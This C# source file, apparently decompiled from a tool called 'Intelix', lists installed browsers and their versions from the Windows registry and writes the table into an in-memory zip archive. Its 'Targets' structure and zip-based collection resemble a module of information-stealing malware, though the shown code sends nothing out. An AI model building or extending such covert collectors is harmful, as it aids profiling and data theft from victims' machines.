using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using Intelix.Helper.Data;
using Microsoft.Win32;

namespace Intelix.Targets.Device;

public class InstalledBrowsers : ITarget
{
	private class Browser
	{
		public string Name { get; set; }

		public string Path { get; set; }

		public string Version { get; set; }
	}

	public void Collect(InMemoryZip zip, Counter counter)
	{
		List<Browser> list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase)
			select g.First()).ToList();
		int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length));
		int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length));
		int length = "In Use".Length;
		List<string> list2 = new List<string>
		{
			"Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion),
			new string('-', maxName + maxVersion + length + 6)
		};
		list2.AddRange(list.Select(delegate(Browser b)
		{
			SafeGetExeName(b.Path);
			return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion);
		}));
		if (list.Count > 0)
		{
			zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2));
		}
	}

	private static IEnumerable<Browser> GetBrowsers()
	{
		string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" };
		List<Browser> list = new List<Browser>();
		string[] array = obj;
		foreach (string keyPath in array)
		{
			list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine));
			list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser));
		}
		Browser edgeLegacyVersion = GetEdgeLegacyVersion();
		if (edgeLegacyVersion != null)
		{
			list.Add(edgeLegacyVersion);
		}
		return list;
	}

	private static IEnumerable<Browser> GetBrowsersFromRegistry(string keyPath, RegistryKey root)
	{
		using RegistryKey key = root.OpenSubKey(keyPath);
		if (key == null)
		{
			yield break;
		}
		string[] subKeyNames = key.GetSubKeyNames();
		foreach (string name in subKeyNames)
		{
			using RegistryKey subkey = key.OpenSubKey(name);
			if (!(subkey?.GetValue(null) is string name2))
			{
				continue;
			}
			string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString());
			string version = "unknown";
			if (!string.IsNullOrEmpty(text) && File.Exists(text))
			{
				try
				{
					version = FileVersionInfo.GetVersionInfo(text).FileVersion;
				}
				catch
				{
				}
			}
			yield return new Browser
			{
				Name = name2,
				Path = text,
				Version = version
			};
		}
	}

	private static Browser GetEdgeLegacyVersion()
	{
		using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas"))
		{
			if (registryKey?.GetValue("PackageFullName") is string input)
			{
				Match match = Regex.Match(input, "\\d+(\\.\\d+)+");
				if (match.Success)
				{
					return new Browser
					{
						Name = "Microsoft Edge (Legacy)",
						Path = null,
						Version = match.Value
					};
				}
			}
		}
		return null;
	}

	private static string StripQuotesFromCommand(string command)
	{
		if (string.IsNullOrWhiteSpace(command))
		{
			return null;
		}
		command = command.Trim();
		if (command.StartsWith("\""))
		{
			int num = command.IndexOf('"', 1);
			if (num > 1)
			{
				return command.Substring(1, num - 1);
			}
			return null;
		}
		int num2 = command.IndexOf(' ');
		if (num2 <= 0)
		{
			return command;
		}
		return command.Substring(0, num2);
	}

	private static string SafeGetExeName(string path)
	{
		try
		{
			if (string.IsNullOrWhiteSpace(path))
			{
				return null;
			}
			return Path.GetFileName(path)?.ToUpperInvariant();
		}
		catch
		{
			return null;
		}
	}
}